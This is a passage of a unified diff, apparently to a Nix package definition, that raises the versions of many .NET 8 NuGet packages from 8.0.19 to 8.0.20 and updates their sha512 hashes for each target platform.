-      hash = "sha512-P0MXwA3k7np2YGyPmYZSWIICTCwzGGka350Xqa+EucRAn9aoyurrm+ZjCJKzA+N9gRc9BaFLaE8p4vLDzQJSww==";
+      version = "8.0.20";
+      hash = "sha512-w8Q6dYKAxAkZXJyw6WP/eRUQf9yCWIlM5ygiKcbAODA/hVyo1JCiWQ896c1G1sy7wa+/3Q0vE+HkVFCNvcTfDQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "8.0.19";
-      hash = "sha512-VhKbsaln9sfOfDvxFh3eVnIQEZhfPnXG9bV9N+unU1GqcZ/CaTSfe1ASAJ230LtMlrtxNk3EqUgSQGX0TQITLQ==";
+      version = "8.0.20";
+      hash = "sha512-ReqCsIPouP9rnL6Xrf+bmZujKQAnTk/rd9iIQhrEtwzKNxbfwa0MhdUo6D6oUiJXvVsRJbrn8aRnlCJfAXFwAQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "8.0.19";
-      hash = "sha512-qtdfpsuFFEQx+26ZUv/95fSUYSpZ6r2Ch0vFKgIwnnwtEOEw7B6h8D8t9P1XkYn6tJvHTdSC0ohcOk+HwELU0Q==";
+      version = "8.0.20";
+      hash = "sha512-bdyPf8QDM104vzSBaxmCN52RMxbs/WBLbunXswNCUE9AczVdlCo2G7SZIimphcnzG0X02CITHiUiD+z8bTFVOg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHost";
-      version = "8.0.19";
-      hash = "sha512-PMYSj+WRBCmeERhq7w+qzqCDAKNR5t2EAMv5w+TFzehtfqQQR8rKZDpYAmzYFaWl6Rn1wOZmjHqsaGbvoL+eMg==";
+      version = "8.0.20";
+      hash = "sha512-ohUx65qZpbiYP9jyu5H66IlW1wfcnUQ31Y/igebwG96EE221DRVKlfZeDMVtKnX+BpNWyzBi3k7bp+N699x+Gg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHostPolicy";
-      version = "8.0.19";
-      hash = "sha512-42gDcb3t2l6sjYOGsDtZiR/PuY99Ctj0UnUgY+BeavYXqM2huKLa+r0Yg8YRJLkLeWF/MT3KXRReUE5Dnu0daw==";
+      version = "8.0.20";
+      hash = "sha512-EUqSxZh+Sa/wqzUbeFHVtCmiAqH8B+hjGGmTtXB6NjfhhfINQu1nrc+Aoz+6iPpOaP+q3qaAtDjU2gh1IXSdxw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHostResolver";
-      version = "8.0.19";
-      hash = "sha512-lvC9ihhOhbjbAwG90fnb6BIHnB/kz3HDz+9JSTaoBIyd+XBnckIWdtDxPtroWrvoWqydk0TPYxPXNGDY+I4E3A==";
+      version = "8.0.20";
+      hash = "sha512-cwfZXFLRsDXgBqg7+im1mztDSw4bYRR/OVSjnetq6nY5JC7rHiBg6vPFdFgX3B/E9ihEuoCErOPscR4DkwQIgg==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "8.0.19";
-      hash = "sha512-oADBsA42EoW8MmpuTl5e5TrNZSNtlpOPsSWtY/dmVdK7EJf1QAQdvHAxZQ6IGDNsKrI4h0VEo+75Grmmc41RTQ==";
+      version = "8.0.20";
+      hash = "sha512-MTyuSFZTIWzf1bQ9U2W/pR7+k3a8pNm+2U+5E/r0pfq6tAX6VghOUCSAPphOUewlCk5MPHsgVa9I9hVTI7I9+Q==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "8.0.19";
-      hash = "sha512-GoPqp8InCwdG8uqW1M5KOqlBHyYLFRuHRQxhBKNJCVwv+EIkCbVkxE+SzLYQaqMZZGOl86WFBLDMdTq0d9+Tag==";
+      version = "8.0.20";
+      hash = "sha512-4Iz1Qb7MIybAKAQmBvhlEVpZBWz8za0WPX6COTuvcK1ZnJ8YuA3JvzPOwd7Ni6729dEuxEdTVC3Yzs55tvMqEg==";
     })
   ];
 
@@ -55,118 +55,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "8.0.19";
-        hash = "sha512-CBq+wJbsMgLVJJLS7vDyefSpH4f5VT0+m80rmB/XtwiFNe8oQJHs3bRpSef+JnKCJoU62ijGs8IQMFsXYbraYQ==";
+        version = "8.0.20";
+        hash = "sha512-QzpP1LCuFNCVdMF8zxw41t41F0QBb1BOPFcmM5LAYkBb92pvwazmdXpUwl+KwqwCu3XZfLDGLQN1qkCKdgtTKQ==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "8.0.19";
-        hash = "sha512-jTF36xYRwLtBq67lUy2IBUZzsRK6nTQuduGtaaWUqO6YcTb15SzN17MeJWanD1nEeleKWR1AL1GJb2cAsEnUiQ==";
+        version = "8.0.20";
+        hash = "sha512-9FVoJFIBCbcHf3IfAbVrKzwztax3Aexm0QMWzwW9zbzKATDkM/7a8zSWsCpCHn9XGeKu2qWPE4pdTd3cKEgGsg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.19";
-        hash = "sha512-EryMsQIZXDc3NLdZ2c14LV7XxkTtIJrF2e4uVE8Ycvqo6PiBZdUiuNEe5HI/wsMyOx5TJJWVW8M5bvykSFNUpQ==";
+        version = "8.0.20";
+        hash = "sha512-+VqaO6X2RpIPbqwd0yaoUpxe4gmzOwfDjiLxGsv8f3V1H52iFLkoQAYPqtEizaUSshvRUlm/9qTfaHzRLP9jVg==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "8.0.19";
-        hash = "sha512-ovKKlV/bfPMcOX2NIr7QXZwZceFSqFwwzLdYNZI1sm9WsXuc3oYrwUoWwcyjXobAQGo1pY1QW6l2eU6TFIDBVA==";
+        version = "8.0.20";
+        hash = "sha512-nOzF8i5n7DNg8it1yx1oKmMpdn1h+jJYpKLntAbdVuxrCS9vZsSKg3HIDug8CQ1bXFasv6NEhEfefy1IXSeh3w==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.19";
-        hash = "sha512-YuSYCslUdV+10cBI5q3oIxVPFWeQPXMAnkdKpZtOFNCPy+1I11cali6yKe++Dq1LeYAhviLbYnnL+1nFPP9jPA==";
+        version = "8.0.20";
+        hash = "sha512-uQ3+qVeMUFmcxlS8r40ZNu3YFEz1mVR6rGJNv3JoJhtMU7+dZ7tsG43vUgD4MdfAIpAFHKv9Ybm7dbFK6ZV2ZQ==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "8.0.19";
-        hash = "sha512-KHOxnCTTVWjYhItEHUi437lfjTz7GJDN7UjUILN1qe0q1i0kFA+2HdQwKt/SKBdF9iMJiDS/XotD+EOYbWSS6g==";
+        version = "8.0.20";
+        hash = "sha512-EuPbJuyEdGCNJS0lvVWzgLGI6U6fsyjc55KhvLJooKE688M8rHAcL+TOE09sG6gKu9u08WleDmh4scBVPSkI6g==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "8.0.19";
-        hash = "sha512-cDvawzOkUtG+BMHhqrwAu3F0AZIXoeMOMAx43x5zH1XerKAGh09ggu53jnIByHmYHI2F9Wze2fSwcmNm2akkgg==";
+        version = "8.0.20";
+        hash = "sha512-SPo9VDDJKEY7cOxfTe3JA0wKSc5a7Mg3gPHTolmd1oh6fRQZ3bapoyZerk2CqxH5C/PZ5U8z345klghdOBNI3Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.19";
-        hash = "sha512-X4Ku+V3mehusrwoGqQ6PSoWfvCe5cMepsoKG3JSylJsd6CL2MzMBQa6CZU8ByB29JE/dwOo7MmYbNsxdDACq3Q==";
+        version = "8.0.20";
+        hash = "sha512-7IvfZjZ4XJz0bId2SBBr1UcE2+8Lrcx36qJL0ZiGGEYzWF4K9Vkn/IFKOjLlDbKQBVIikDiA8N7WEHZWhWwuVQ==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "8.0.19";
-        hash = "sha512-MnPFQfcebuYBLfIxKrzO/z6fNGhUpm8JMtDkoX9zm/OitWkHBpYhPANnz4baao8t/X6xvLY4jgURXurqt8VWIw==";
+        version = "8.0.20";
+        hash = "sha512-Iz8rwdlyzt6u2aeIXBPD8d+QX4jJKboZpA2ubeS7FkXjABusVQFaFMLbDkYhDOaK5+uaPiQIr8ph5ZfIIjSsFg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.19";
-        hash = "sha512-eGiP0kagfsqjLFYuW21kAriFJ0EdThyCpPoB1657p24cg4Xhd2Yeh97FU9pb0UAZA4zqjhqcCmqWvcAbyx5Oig==";
+        version = "8.0.20";
+        hash = "sha512-ntG1wuh8qyda0UUamps27EwHMf0EpoLG4GqIkbFMOzgwUhCql2rT4PUlrYQPeQ9hdmnQXL2x0kyFhcJMjMTOKQ==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "8.0.19";
-        hash = "sha512-pBo4JhEGeCG627NFpSO7+KJgh/DPcjuz/bEgZ6dRHXZI/bDmyjLTGJQvyvonW7jhgbxgBbo2WayHCrgHFA74Zg==";
+        version = "8.0.20";
+        hash = "sha512-0Mv0kixOTORiDEyqpXpv6MyohFQQGXEDyRp+mzb/XSjtIWxjS/gNpVjuIAf6BgJl7xAldBPGHxG11iLda24zkg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.19";
-        hash = "sha512-0+1JQFBD8qKmK1j+5VyY/5fLUU5lKt3oKLqDnIE0KZlJc9uJSi174JsEqF6rjrEtWRPXSaDd5QuwCUzeEuKd2A==";
+        version = "8.0.20";
+        hash = "sha512-BM9xD2qHUAz6FTZhaHjdYjWL3M+SNDESboKRTbvlmcIeNu863foCVuceDgk7fEPpoMchFp92nujJ06LZ8CWkUA==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "8.0.19";
-        hash = "sha512-dBj8Xuk6EbKF/UdeP7e40ULe1XDBTBy4W2EzYBJoaZ8+Qi9LY9PbsEfrXEc94/o0cBM6vPiBNahEpJcS+ao1iw==";
+        version = "8.0.20";
+        hash = "sha512-X/ZolZ8ZKsXAe7qxqWIIbtXFqywUO70jsiScwYJjNsRDjQ4iEsafiGcP4sMWSATxJjZx7O2DUhjXG9k5EGxiWg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.19";
-        hash = "sha512-Jfu88czW2sKACGPJ/yMV6UEiPUI8yiodPd24p6LAPRUCX6CI7UbEc30cCAmkN9TuEt/zAK4dKG2hs3isfdjpNA==";
+        version = "8.0.20";
+        hash = "sha512-eXMwwqnY4cPsuseGoEtuGuxdKPrqDFjy84a4HtbnYTRLnMYDyxd6PZauz3YxKgCvR0tWcousOMoDxSYWljo3Iw==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "8.0.19";
-        hash = "sha512-UjZI9mQLY4k8jwdq9NgyzfPwWxDmEiT2ahqV8a9AXa33AUKhXr1X4aW22e5QSUZF997psI0HI4DAYgnRrZN6vQ==";
+        version = "8.0.20";
+        hash = "sha512-4fyajE6dozHNiFDhPfeokqO+n5imY6il3eqG5Gi1iwdkf5Nk6ORkro5pIwzYZXkrZFFsSqjxTkjOFzVdg9OwfQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.19";
-        hash = "sha512-MV6poe/eVPrbO3CQvQNn3RNIymVBNWJ7updS3aSZVhlL9IZUuw0Oyn92pi8Fd3qOWvZQcdireVua0AWBmD14Hg==";
+        version = "8.0.20";
+        hash = "sha512-h0Fk0cjgl/UTD/JTpAzVwynCduv/f5LUgw2KtnDBDTztHyj2xw/zDMNDve5pF7+izVqfqg2Nm1UvuTuQR5HohQ==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "8.0.19";
-        hash = "sha512-AQJC7awIrQnM6TIj1ZrWaRc3HveorRrQaGxfCd4Gdn/RFJXkiETDSUZuakkHLmND1HUcBWZ003UlJasJoDe57A==";
+        version = "8.0.20";
+        hash = "sha512-+xqTx6KQIgc/rj1EoG6xs9mL8h1rV9d7+/3wx/BiNWA9Yz99ua3nc3vBLTj0RvYF3Q7bxs8w3ivHR6WhjqQDYQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.19";
-        hash = "sha512-zkLC9ydX+0bsZWrJxWsWM/8LPujWC7Z0L6QHdYehClKa4Lrk3glBex2O5q2QirqLjCFDjYRMw7KSyO4CUGv5ng==";
+        version = "8.0.20";
+        hash = "sha512-vl1JvrYO7I6HtcDsJRRwfXlNnfi0B0YIg9tJ8kkkGpEk51JbPzwKUUf5UgGMYJYBwCx5VLzNB1H5adYUv51D+w==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "8.0.19";
-        hash = "sha512-ECYlGtxCIAHIMQRTjTrrAG6O+iTP+2LV8g02ttgII6BPw7fpsViPtYpgXAKMx2SW3NjlS9ePxXS+LsDmJ6peKA==";
+        version = "8.0.20";
+        hash = "sha512-1cX9cT5qBWUHk/LQLuZ2Fg8ovMCXkGU+KBCgNmmJ90g7rJ07DjJV6MNaeXhvK3Mg7uJpIuN17EBHye3EVRIJmg==";
       })
     ];
   };
@@ -175,566 +175,566 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "8.0.19";
-        hash = "sha512-CXwG/jLFrC1njHjZnwI0cDjd7Q1CQPGAn0HFM9BekI3xJb3MtlfPyyx0jN7NMsejToWeXgw6wlQ7rLCxwcGREg==";
+        version = "8.0.20";
+        hash = "sha512-G6UpxCxt9sW3mtHtsCQhQJNEIgdLzgGo6BcVEUX6RQNgdfCw6YgGVy5KdN4R45Zqo6K/UVEF0C2ZUVPYk8wrRA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "8.0.19";
-        hash = "sha512-He223oJT1MMpZKYApV4yb8KFrP4x1Ei+Z2ovHubJ9IYJxApvw17R8GfCVWYDwQiUITd5xxfXQZAvq9Uhzrdumw==";
+        version = "8.0.20";
+        hash = "sha512-EJRGxhZBLdGjyTIjOb/fAmDL87ysiFfOc6aMHx5vKPe7kxshjvTVy4Nr/9YXt6poXoeQaDBAw7TWItle6vVu1Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "8.0.19";
-        hash = "sha512-Bb8wAYk8zTCXwd25mOhVQg/wXQrRxQplxD0t189tfRox90zE4QSWPljMR61AAeuFvnAmFHX2/WJtYXq3tjSrRQ==";
+        version = "8.0.20";
+        hash = "sha512-aW2Fh3+p2gQgRd7tPVgY34+GGPXhIEQJnh20w9Z6d6PtUNXGRaKIcngu6W4LB0QPrHtprsRFBpt3p3yocALFHA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.19";
-        hash = "sha512-kaSQrToRQW4cNifw0bHzfFt8bXJb0bxYYXzOm6sKdw+MAMO5fIIybr3DpLSGLmqqz/B63Jz22Fx6OoVFw7G+tQ==";
+        version = "8.0.20";
+        hash = "sha512-T5HlmUcha2Fz6U2/9tKLMPp9muJyxbuGsuWwzMjAKFUIrHXErkJxYV9v2gfoj198BHwB8eb3/b31TppxXLIrbw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHost";
-        version = "8.0.19";
-        hash = "sha512-XNqp2Kf81OCORVhDCLUUVIyQWmnTW+xqdeKcv1/DWUwE0Bs5jzhpk/LmE0yRoduTpXAyYkPRWpxWZGOVa2twVg==";
+        version = "8.0.20";
+        hash = "sha512-/LpPKsVBnxlwlRkkBN6IIDGPMaHqf7opxBNMkjEoU2Z436X9dbmrD8psSx+phiCFvoqaw3X9dn/TqskfFVJokA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.19";
-        hash = "sha512-91csMX2qwGariQVFLhCOX6sRywEuX+qoOht0GgjmqmaKI2JxEleCJEMcJ+n7RqieSia2txmVzeHYDED3+5xlKQ==";
+        version = "8.0.20";
+        hash = "sha512-IaPyKzOi6vA9r1OHjgAdqUO0Hf19LKqxhAYJSEFk193uSTsttorcPT8AD/eqRb04rI1T9NiL6RAAvcO6s2wTVA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.19";
-        hash = "sha512-fivtZRiA9IH/8JqTnXxVfQ4cak3hnte3tZLgPQ4z47/xAxcvz1nRjHRbblIl3FEfGvj3oHJakbgttSvvwdrI3g==";
+        version = "8.0.20";
+        hash = "sha512-7G/+fiuxYl5kS1g/2faF+V+LDW8+0+Wsyf86Io6Wz4YHeJesFocA5hTy2dzBHZ2RXSrLA30xn8kQPnCx0iVyCA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm";
-        version = "8.0.19";
-        hash = "sha512-gP/Qk9rYTT7upplXUbUmhMnxUC8KcJWZ3dLFdW0zQ78zxkfkIDbJ60HQQetEohnhUbOCX+/j2N/oEzeLrESGFw==";
+        version = "8.0.20";
+        hash = "sha512-nBRFxKOGlEX7M/XAjbftd/L3OjQd3kLe68NO5a5y8eL34/o08zeWAz5w6ooLsr/Xb0+33g1Fxx1pwN+kWUjRjQ==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "8.0.19";
-        hash = "sha512-RZ4+PXfM587j+4jVt5fMFvx3qy1OkR1q4Ztj7LekJBCidfkNcmHI64sVm+ev1nS1xhBQNgdCLRFa8VUqqPSgFw==";
+        version = "8.0.20";
+        hash = "sha512-lR4xMDs5E5SUB260+61wzYqLM4Fw8WVLOhhpnzDQ6sfCGcnIpAdyywwS6hWn4bTkDbLCUWZOMddahUlz1w3rxw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "8.0.19";
-        hash = "sha512-Y3BL9qgrcCZBZVlM3anKLX8F2atrzvCm4gxED1hTxJGQyCp24xEaGKa6BRfq5NdQO4sKOS3UWDM/XB6qr4yx+A==";
+        version = "8.0.20";
+        hash = "sha512-g2d/PUPe8FvPmQiFLasrQFJEqihsxBw/iI2C0gqg7bVWTliEKll9fTkO590MHTs2IX7HooGc6OlDPdPgqrP18g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "8.0.19";
-        hash = "sha512-29KXiTrQ5adugytgWnZfdBSyBQHvlPwuClP4RyR0DRERHfMFWfZc+IFYCvqr1LLquPBR2Ev/xO4SgOfgQyu9kQ==";
+        version = "8.0.20";
+        hash = "sha512-NiB7rBLXcA0gUjjm5Ayl4xSS/28FWrF69wRPxvX4vfZIaM7GKPoqkPdpGAQRdO5AQsnESDPoXm8gKZywupPRzg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.19";
-        hash = "sha512-ppU9Qz/PQ6ilQze2Ep7iG7KCzjMMWnd/JxY0c7oYeJfT9yTjBZOZeu4CHM8Vi0qewih1fI521CsIbvBKLHndSA==";
+        version = "8.0.20";
+        hash = "sha512-MtY9IP4p+bPOA5UY2Ora6XUsmOZFZe/NQYycXp+msZmC7V+XIaJ1JxCvb/wZYPSzdj3o7d7wHrp18fOKI5Y8Kg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.19";
-        hash = "sha512-jIThUl9XLKaVo+bTUtNzO03JAvmP/mc8Tqcc9xSCvf9TzroV/MrapKju/iN+zNFeS5OnJIF3doKEbYnKnCWs7g==";
+        version = "8.0.20";
+        hash = "sha512-SRhF9VzpT8nLEfSixN9B89gi84Cg5CL98v9ZJTR9oQmfzbE219UaXsWxzRdB3kInT6fkP7c+940tpDudrU6htw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.19";
-        hash = "sha512-zQlXKZ7Lcmy5iGGIFj1dGAdAGysgJm0r67quupe3tlBxHvi17Pntb+zesPSp31kaX+gqLdVWLylBLnb2EF41bg==";
+        version = "8.0.20";
+        hash = "sha512-EzCsF0E13D4k3akvyCnOSLXeyKeS4vmsBN8p0h5T2BlDf1jsNnBTdrvO7lBoXpo1W20wzgic33533E7l0pdeWA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.19";
-        hash = "sha512-XuYUWuqO1rOCKgU0T0OHgjdlYg1xYzZC/LnIoM1UBV+RiByUVCDlNmctSNlNm9nNOHVDxrDGMJmjG0LH2/66dg==";
+        version = "8.0.20";
+        hash = "sha512-Gub22p6ELMUhID2PkyDJ+31LJqIij58Mauwn8//pmW0RlviI/0fHt0MUoW7F8XpYGsMc7DFDPmczVKBAWWrnQg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm64";
-        version = "8.0.19";
-        hash = "sha512-+tKz3/AS0uatyMFciALifG0HF25uRxYOGfMZy8FIg2xrkjW1xDKg/Aqk2kHu5K+yxpO3ez8yutqG7AZjGO2bAw==";
+        version = "8.0.20";
+        hash = "sha512-NeMgGpDGbFYQyQyDufBkTZguc1N+6uM38qalGsmsc4kXqYY/oa9fjy4YCRNL4NB+3hAtO2W7qP9IALGUPih6bw==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "8.0.19";
-        hash = "sha512-OVA3+spWeTytk2DCo9syBHUmc0K0Yqyh+AvULvV9S4rAsdmgjKDARVNYcImDhMqRTTzX5r4uczoWnBN7wPqEtg==";
+        version = "8.0.20";
+        hash = "sha512-pK1xMLndZf0nTfM8qYoJ+WmOKvSrpvV4qqeiNBgw+/d+mzboCU85J4vLtEzGuYXWIJTKDJuxM7GqJU+scAreTA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "8.0.19";
-        hash = "sha512-A3KMblUwJ9Zezrr/lX753sK8JamQbN8T7W/c73PXXlnikdvGSDJh78VtyMAeMPfYlwJQlunSAK0GmYBTaT6hnA==";
+        version = "8.0.20";
+        hash = "sha512-FmeBNXl+vmZ0wI18YOFhB2w8koEWmV47RQKwUZdPnx8lf8tG1aSrRAt4i3wIiSJ+fqcZ4Umbp25s9bpKhp3Kog==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "8.0.19";
-        hash = "sha512-vKT8qP8s2Q+Eef3gvp8dBhqAmspLUjrc5EpfGBuy8ALUhZhKCZUXPuvwx5QjkPTcOb1hOUmEcOAenQ+WEbvnFQ==";
+        version = "8.0.20";
+        hash = "sha512-y1bMcE2NE63Ro7RzoCSkjrQW2TDwKbwZHqrYRjSYhO8E0uq4uYeGSuEjE9o2Ooq049xNdYsdTfSF2ipqFmb50A==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.19";
-        hash = "sha512-6OEEohAtoOS4ep+vSrKXi8/Vu4jIRD8woZkwh3Tt0QtT8xV1tmWeNH2jCr76sP3FbIJaVZ6NHQRkrZfov9yxig==";
+        version = "8.0.20";
+        hash = "sha512-RCpG2N7+A0/ljYpcIW1qWG2YAFU7Mqs6uBRsb51ZCKfYeqnnrsx4rLSjzwha9nc2C/GATLGXdKTMumpub9YRxg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.19";
-        hash = "sha512-GLxAezIXi563N2/q3n8KRxYuhcJaLGJth1gd+G+sQJw6uEv51YPP6s7DsBgewF6VyXDDnesLTGnkv8fkPyWPKw==";
+        version = "8.0.20";
+        hash = "sha512-GNQt2cD/FnvbX9rQa5JbIQxeP10+PtZYxaN9AuhI33RXphH2xM9SAL9sOumSvbxjRwNJs2eVjFAnKMQ7A0Jylg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.19";
-        hash = "sha512-H7e34VBAQ8P9afWKyKn8u2FMGkx6SPqwxk59KvvJNXGE1tt64Y1xcjtoKWU7yY/xgRNyW/7BxBjyjGs96HG9BA==";
+        version = "8.0.20";
+        hash = "sha512-VF3LetcpHjzxjsght5M54+RThSbMX3PWpYlUfa8EJiOWRDxxXJzN9GN2736huINuMaVjnwRipfVTc0RAGgiFsw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.19";
-        hash = "sha512-MaZramDW2KIdn5sn5IaHGpdr9AvLbBwh6TNzDb8GyzJX1BXzy0QIQPBGM95uiZ7bPZXovgvM/P2myS3aChOX+g==";
+        version = "8.0.20";
+        hash = "sha512-7jvFAaLaQzsHOWJ1uhDtiptUFYifuBGHRm1mb4qWvyM8fOlDe0hkVtkV/32IKDECsqU1XkVr7uRpkbQcA9N7yQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-x64";
-        version = "8.0.19";
-        hash = "sha512-Elc+6ExneINHtEnt4Iq5M9s3t0HEJN0dqPaWMHsag5dzGi6Qx69XboScBNWQhRTKMxoKYihPOL3pk5t4Df5rOw==";
+        version = "8.0.20";
+        hash = "sha512-3lxzEUUNkq03eCVfnw0y6T6VPjI0nVp7kGBa29yvYj4gtwqt4fupOj7dFNzjcsHiokoAPvMKoQX8uB64oxt94w==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "8.0.19";
-        hash = "sha512-vl83UEXMS2sVQ5vPRPAr/KX/6gqA3VxVuuzdN4rAo/d1dFK6cFyMLVubcCxIYxSIetaLXLagjWxwKT7TE/E6Zw==";
+        version = "8.0.20";
+        hash = "sha512-iH6z6a8C5GbCTskOlkBdBiRUzO77AbUOdBeqy71E5Z/nbyii90MkG5vaHCFzGg9Xd9y7AAI2vQWJ/tYeU5GHpg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "8.0.19";
-        hash = "sha512-qt3IKRfsRC01XEGZYcMK2Na4Ji9J8BFoLTccxVweCNiWxr5QYCTXuAlSCtXPaYtxM0W257peDibq5GIVD2afzQ==";
+        version = "8.0.20";
+        hash = "sha512-UJeSYV9ksc6iEFAWu280wxIX2RG26u4y33cjO6IVLDtatcQC71kSRCjKOjEp+34WFsHaAPJnv0tNiiIM1ntx0w==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "8.0.19";
-        hash = "sha512-GfV9610N8O7/5aKSauBTA96FAk64ukA3tCZXRjwZrFM3OENfZV2T8NsVSC34lslpaotKxUC7nmQp0ey5nzaPYw==";
+        version = "8.0.20";
+        hash = "sha512-/YRAHE/55Hdt5BCh0K7//AfyLnVsWQv6E5WqqCrILeXuFu6GIg/Xe827xPLF1SzeyZsT8CwvRLx+JoaK34ZE/g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.19";
-        hash = "sha512-3z1K3i+s6eyJ0/8OXrW3J6n4pIDv2bQ0pptDpqUuPv1ghiw5BJiF9Vmm1xxhi+HLZkc0wz9Qfg4OAoAyiYE7xA==";
+        version = "8.0.20";
+        hash = "sha512-r9MHRknh3Dug0E7QMdCy/HsCgiNir3V4si2E3/ya3ewJqtM9zCosCyTXRk60Hy9y+7GKk8IL0UPyxVsaVy7v/w==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHost";
-        version = "8.0.19";
-        hash = "sha512-W39Zdgq9WUqwd0jY68BWcl9ufhSWtDYwoZB+VAkNauBs0r5yetHsvnkXJAQPli7/d7EVLfhpqhQb+KKcJdFpRQ==";
+        version = "8.0.20";
+        hash = "sha512-zmrrxrQCnBNh4d8jdHAtPYvpaZGB2cspy54sIk1vFQ3sAvtyPSfs5h04lTBactetSWBaBY3Qjzf/hFUno8EU3w==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.19";
